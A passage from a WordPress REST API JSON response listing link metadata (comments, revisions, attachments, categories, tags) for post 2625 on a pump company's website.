replies":[{"embeddable":true,"href":"https:\/\/www.gornpump.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2625"}],"version-history":[{"count":1,"href":"https:\/\/www.gornpump.com\/index.php?rest_route=\/wp\/v2\/posts\/2625\/revisions"}],"predecessor-version":[{"id":2626,"href":"https:\/\/www.gornpump.com\/index.php?rest_route=\/wp\/v2\/posts\/2625\/revisions\/2626"}],"wp:attachment":[{"href":"https:\/\/www.gornpump.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2625"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gornpump.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2625"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gornpump.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2625"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}